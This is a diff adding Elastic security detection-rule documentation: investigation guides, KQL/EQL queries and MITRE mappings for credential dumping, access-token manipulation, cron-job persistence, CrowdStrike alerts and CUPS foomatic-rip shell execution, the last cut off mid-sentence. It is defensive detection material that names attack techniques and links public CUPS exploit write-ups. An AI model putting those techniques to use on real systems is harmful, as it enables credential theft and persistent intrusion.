alerts by monitoring specific event actions and metadata, signaling attempts to steal credentials, thus enabling timely threat mitigation. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of event.kind:alert and event.module:endgame, ensuring the alert is related to Elastic Endgame's prevention of credential dumping. +- Examine the event.action and endgame.event_subtype_full fields for the value cred_theft_event to understand the specific credential theft attempt that was prevented. +- Investigate the source and destination systems involved in the alert to identify potential points of compromise or targeted systems. +- Check for any related alerts or events in the same timeframe that might indicate a coordinated attack or further attempts at credential access. +- Assess the user accounts involved in the alert to determine if they have been compromised or if there are any unauthorized access attempts. +- Review the risk score and severity to prioritize the investigation and response actions based on the potential impact on the organization. + + +*False positive analysis* + + +- Routine administrative tools or scripts that access credential stores may trigger alerts. Review and whitelist these tools if they are verified as non-threatening. +- Security software performing legitimate credential checks can be mistaken for credential dumping. Identify and exclude these processes from alert generation. +- Automated backup systems accessing credential data for legitimate purposes might be flagged. Ensure these systems are recognized and excluded from the rule. +- Regular system maintenance activities that involve credential verification could cause false positives. Document and exclude these activities if they are part of standard operations. +- User behavior analytics might misinterpret legitimate user actions as credential theft. Implement user behavior baselines to reduce such false positives. + + +*Response and remediation* + + +- Isolate the affected system immediately to prevent further unauthorized access or lateral movement within the network. +- Terminate any suspicious processes identified as part of the credential dumping attempt to halt ongoing malicious activities. +- Change all potentially compromised credentials, especially those with elevated privileges, to prevent unauthorized access using stolen credentials. +- Conduct a thorough review of access logs and event data to identify any additional systems that may have been targeted or compromised. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation. +- Implement additional monitoring on the affected system and related network segments to detect any further suspicious activities or attempts at credential theft. +- Review and update endpoint protection configurations to ensure that similar threats are detected and prevented in the future, leveraging insights from the MITRE ATT&CK framework. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:prevention and (event.action:cred_theft_event or endgame.event_subtype_full:cred_theft_event) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-manipulation-detected-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-manipulation-detected-elastic-endgame.asciidoc new file mode 100644 index 0000000000..f74c7e8c8f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-manipulation-detected-elastic-endgame.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-credential-manipulation-detected-elastic-endgame]] +=== Credential Manipulation - Detected - Elastic Endgame + +Elastic Endgame detected Credential Manipulation. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Credential Manipulation - Detected - Elastic Endgame* + + +Elastic Endgame is a security solution that monitors and detects suspicious activities, such as credential manipulation, which adversaries exploit to escalate privileges by altering access tokens. This detection rule identifies such threats by analyzing alerts for token manipulation events, leveraging its high-risk score and severity to prioritize investigation. The rule aligns with MITRE ATT&CK's framework, focusing on privilege escalation tactics. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of event.kind:alert and event.module:endgame, ensuring the alert is relevant to Elastic Endgame's detection capabilities. +- Examine the event.action and endgame.event_subtype_full fields for token_manipulation_event to understand the specific type of credential manipulation detected. +- Check the associated user account and system involved in the alert to determine if the activity aligns with expected behavior or if it indicates potential unauthorized access. +- Investigate the timeline of events leading up to and following the token manipulation event to identify any additional suspicious activities or patterns. +- Correlate the alert with other security events or logs to assess if this incident is part of a broader attack or isolated. +- Evaluate the risk score and severity to prioritize the response and determine if immediate action is required to mitigate potential threats. + + +*False positive analysis* + + +- Routine administrative tasks involving token manipulation can trigger alerts. Review the context of the event to determine if it aligns with expected administrative behavior. +- Automated scripts or software updates that require token changes might be flagged. Identify and whitelist these processes if they are verified as safe and necessary for operations. +- Security tools or monitoring solutions that interact with access tokens for legitimate purposes may cause false positives. Ensure these tools are recognized and excluded from triggering alerts. +- User behavior analytics might misinterpret legitimate user actions as suspicious. Regularly update user profiles and behavior baselines to minimize these occurrences. +- Scheduled maintenance activities that involve access token modifications should be documented and excluded from detection rules during their execution time. + + +*Response and remediation* + + +- Isolate the affected system immediately to prevent further unauthorized access or lateral movement within the network. +- Revoke and reset any compromised credentials or access tokens identified in the alert to prevent further misuse. +- Conduct a thorough review of recent access logs and token usage to identify any unauthorized access or actions taken by the adversary. +- Apply security patches and updates to the affected system and any related systems to close vulnerabilities that may have been exploited. +- Implement enhanced monitoring on the affected system and related accounts to detect any further suspicious activity or attempts at credential manipulation. +- Notify the security team and relevant stakeholders about the incident, providing details of the threat and actions taken, and escalate to higher management if the threat level increases. +- Review and update access control policies and token management practices to prevent similar incidents in the future, ensuring that least privilege principles are enforced. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:detection and (event.action:token_manipulation_event or endgame.event_subtype_full:token_manipulation_event) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-manipulation-prevented-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-manipulation-prevented-elastic-endgame.asciidoc new file mode 100644 index 0000000000..275cea77d3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-credential-manipulation-prevented-elastic-endgame.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-credential-manipulation-prevented-elastic-endgame]] +=== Credential Manipulation - Prevented - Elastic Endgame + +Elastic Endgame prevented Credential Manipulation. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Credential Manipulation - Prevented - Elastic Endgame* + + +Elastic Endgame is a security solution that prevents unauthorized credential manipulation, a tactic often used by adversaries to escalate privileges by altering access tokens. Attackers exploit this to gain elevated access within a system. The detection rule identifies such attempts by monitoring alerts for token manipulation events, leveraging Elastic Endgame's prevention capabilities to thwart these threats effectively. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of event.kind:alert and event.module:endgame, ensuring the alert is related to Elastic Endgame's prevention capabilities. +- Examine the event.action and endgame.event_subtype_full fields to identify the specific type of token manipulation event that was prevented. +- Investigate the source and destination of the alert by analyzing associated IP addresses, user accounts, and hostnames to determine if the attempt was internal or external. +- Check for any related alerts or logs around the same timeframe to identify potential patterns or coordinated attempts at credential manipulation. +- Assess the impacted system's current security posture and review recent changes or anomalies in user behavior that might have led to the attempted manipulation. +- Consult the MITRE ATT&CK framework for additional context on Access Token Manipulation (T1134) to understand potential adversary techniques and improve defensive measures. + + +*False positive analysis* + + +- Routine administrative tasks involving legitimate token manipulation can trigger alerts. Review the context of the event to determine if it aligns with expected administrative activities. +- Automated scripts or software updates that modify access tokens as part of their normal operation may cause false positives. Identify these processes and consider adding them to an exception list if they are verified as non-threatening. +- Security tools or monitoring solutions that interact with access tokens for legitimate purposes might be flagged. Validate these tools and exclude them from the rule if they are confirmed to be safe. +- User behavior that involves frequent token changes, such as developers testing applications, can lead to false positives. Monitor these activities and create exceptions for known users or groups performing these tasks regularly. +- Ensure that the rule is not overly broad by refining the query to focus on specific actions or contexts that are more indicative of malicious behavior, reducing the likelihood of false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system to prevent further unauthorized access or lateral movement within the network. +- Revoke and reset any potentially compromised credentials associated with the affected system to mitigate unauthorized access. +- Conduct a thorough review of access logs and token usage to identify any unauthorized access or privilege escalation attempts. +- Restore the affected system from a known good backup to ensure the integrity of the system and its credentials. +- Implement additional monitoring on the affected system and related accounts to detect any further suspicious activity. +- Escalate the incident to the security operations team for a detailed investigation and to assess the potential impact on other systems. +- Review and update access control policies to ensure that only necessary permissions are granted, reducing the risk of privilege escalation. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:prevention and (event.action:token_manipulation_event or endgame.event_subtype_full:token_manipulation_event) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cron-job-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cron-job-created-or-modified.asciidoc new file mode 100644 index 0000000000..e31ac89dba --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cron-job-created-or-modified.asciidoc @@ -0,0 +1,255 @@ +[[prebuilt-rule-8-19-34-cron-job-created-or-modified]] +=== Cron Job Created or Modified + +This rule monitors for (ana)cron jobs being created or renamed. Linux cron jobs are scheduled tasks that can be leveraged by system administrators to set up scheduled tasks, but may be abused by malicious actors for persistence, privilege escalation and command execution. By creating or modifying cron job configurations, attackers can execute malicious commands or scripts at predefined intervals, ensuring their continued presence and enabling unauthorized activities. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/ +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 20 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Cron Job Created or Modified* + +Linux cron jobs are scheduled tasks that run at specified intervals or times, managed by the cron daemon. + +By creating or modifying cron job configurations, attackers can execute malicious commands or scripts at predefined intervals, ensuring their continued presence and enabling unauthorized activities. + +This rule monitors the creation of cron jobs by monitoring for file creation and rename events in the most common cron job task location directories. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the cron job file that was created or modified. +- Investigate whether any other files in any of the available cron job directories have been altered through OSQuery. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE (path LIKE '/etc/cron.allow.d/%' OR path LIKE '/etc/cron.d/%' OR path LIKE '/etc/cron.hourly/%'\nOR path LIKE '/etc/cron.daily/%' OR path LIKE '/etc/cron.weekly/%' OR path LIKE '/etc/cron.monthly/%' OR path LIKE\n'/var/spool/cron/crontabs/%')\n"}} + - !{osquery{"label":"Osquery - Retrieve Cron File Information","query":"SELECT * FROM file WHERE (path = '/etc/cron.allow' OR path = '/etc/cron.deny' OR path = '/etc/crontab')\n"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE ( path LIKE '/etc/cron.allow.d/%' OR path LIKE\n'/etc/cron.d/%' OR path LIKE '/etc/cron.hourly/%' OR path LIKE '/etc/cron.daily/%' OR path LIKE '/etc/cron.weekly/%' OR\npath LIKE '/etc/cron.monthly/%' OR path LIKE '/var/spool/cron/crontabs/%')\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator who uses cron jobs for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Related Rules* + + +- Suspicious File Creation in /etc for Persistence - 1c84dd64-7e6c-4bad-ac73-a5014ee37042 +- Potential Persistence Through Run Control Detected - 0f4d35e4-925e-4959-ab24-911be207ee6f +- Potential Persistence Through init.d Detected - 474fd20e-14cc-49c5-8160-d9ab4ba16c8b +- Systemd Timer Created - 7fb500fa-8e24-4bd1-9480-2a819352602c +- Systemd Service Created - 17b0a495-4d9f-414c-8ad0-92f018b8e001 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the service/timer or restore its original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and file.path like ( + "/etc/cron.allow", "/etc/cron.deny", "/etc/cron.d/*", "/etc/cron.hourly/*", "/etc/cron.daily/*", "/etc/cron.weekly/*", + "/etc/cron.monthly/*", "/etc/crontab", "/var/spool/cron/crontabs/*", "/var/spool/anacron/*" +) and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/local/bin/dockerd", "/opt/elasticbeanstalk/bin/platform-engine", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/platform-python", "/opt/imunify360/venv/bin/python3", + "/opt/eset/efs/lib/utild", "/usr/sbin/anacron", "/usr/bin/podman", "/kaniko/kaniko-executor", + "/usr/bin/pvedaemon", "./usr/bin/podman", "/usr/lib/systemd/systemd", "./usr/bin/podman", "/usr/bin/coreutils", + "/usr/sbin/univention-config-registry", "/usr/bin/dnf5", "./usr/lib/snapd/snap-update-ns" + ) or + file.path like ("/var/spool/cron/crontabs/tmp.*", "/etc/cron.d/jumpcloud-updater") or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/libexec/platform-python*", + "/var/lib/waagent/Microsoft*" + ) or + process.executable == null or + process.name in ( + "crond", "executor", "puppet", "droplet-agent.postinst", "cf-agent", "schedd", "imunify-notifier", + "jumpcloud-agent", "crio", "dnf_install", "utild" + ) or + (process.name == "sed" and file.name like "sed*") or + (process.name == "perl" and file.name like "e2scrub_all.tmp*") or + (process.name in ("vi", "vim") and file.name like "*~") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-crowdstrike-external-alerts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-crowdstrike-external-alerts.asciidoc new file mode 100644 index 0000000000..9caee159d8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-crowdstrike-external-alerts.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-34-crowdstrike-external-alerts]] +=== CrowdStrike External Alerts + +Generates a detection alert for each CrowdStrike alert written to the configured indices. Enabling this rule allows you to immediately begin investigating CrowdStrike alerts in the app. + +*Rule type*: query + +*Rule indices*: + +* logs-crowdstrike.alert-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://docs.elastic.co/en/integrations/crowdstrike + +*Tags*: + +* Data Source: Crowdstrike +* Use Case: Threat Detection +* Resources: Investigation Guide +* Promotion: External Alerts +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating CrowdStrike External Alerts* + + +CrowdStrike Falcon is a cloud-native endpoint protection platform that delivers real-time threat detection and response capabilities. The rule captures security alerts generated by Falcon and enables analysts to investigate threats rapidly based on behavioral indicators and threat intelligence. + + +*Possible investigation steps* + + +- Review the associated process, file path, and command line to determine whether the activity is legitimate or suspicious. +- Investigate the user account and host involved in the alert to validate whether the activity was authorized. +- Cross-reference the alert with CrowdStrike Falcon console for additional context, including process tree, behavioral tags, and threat intelligence matches. +- Check for any related alerts from the same host, user, or file hash to identify whether this is part of a larger attack chain. +- Consult the Crowdstrike investigation guide and resources tagged in the alert for specific guidance on handling similar threats. + + +*False positive analysis* + + +- Alerts involving known and trusted software tools (e.g., remote administration tools) may be false positives. Confirm intent before excluding. +- Security assessments or penetration testing activities might mimic real threats. Validate the activity with responsible teams. +- Scheduled jobs, IT scripts, or automation tools may trigger alerts if they behave similarly to malicious code. +- Review alerts based on detection confidence levels and behavioral scoring to filter out low-confidence or known-benign triggers. + + +*Response and remediation* + + +- Isolate affected endpoints to prevent lateral movement if malicious behavior is confirmed. +- Quarantine any identified malicious files and block related hashes or domains. +- Investigate how the threat entered the environment and close any exploited vulnerabilities. +- Reset credentials for compromised user accounts or escalate to incident response. +- Review CrowdStrike Falcon policies and detections to fine-tune future alerting and response coverage. +- Document the findings and update detection logic or exceptions accordingly. + + +==== Setup + + + +*Setup* + + + +*CrowdStrike Alert Integration* + +This rule is designed to capture alert events generated by the CrowdStrike integration and promote them as Elastic detection alerts. + +To capture CrowdStrike alerts, install and configure the CrowdStrike integration to ingest alert events into the `logs-crowdstrike.alert-*` index pattern. + +If this rule is enabled alongside the External Alerts promotion rule (UUID: eb079c62-4481-4d6e-9643-3ca499df7aaa), you may receive duplicate alerts for the same CrowdStrike events. Consider adding a rule exception for the External Alert rule to exclude data_stream.dataset:crowdstrike.alert to avoid receiving duplicate alerts. + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind: alert and data_stream.dataset: crowdstrike.alert + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cupsd-or-foomatic-rip-shell-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cupsd-or-foomatic-rip-shell-execution.asciidoc new file mode 100644 index 0000000000..eab0c429c0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cupsd-or-foomatic-rip-shell-execution.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-cupsd-or-foomatic-rip-shell-execution]] +=== Cupsd or Foomatic-rip Shell Execution + +This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects shell executions from the foomatic-rip parent process. These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/cups-overflow +* https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/ +* https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1 +* https://github.com/RickdeJager/cupshax/blob/main/cupshax.py + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2024-47076 +* Vuln: CVE-2024-47175 +* Vuln: CVE-2024-47176 +* Vuln: CVE-2024-47177 + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Cupsd or Foomatic-rip Shell Execution* + + +This rule identifies potential exploitation attempts of several vulnerabilities in the CUPS printing system (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177). These vulnerabilities allow attackers to send crafted IPP requests or manipulate UDP packets 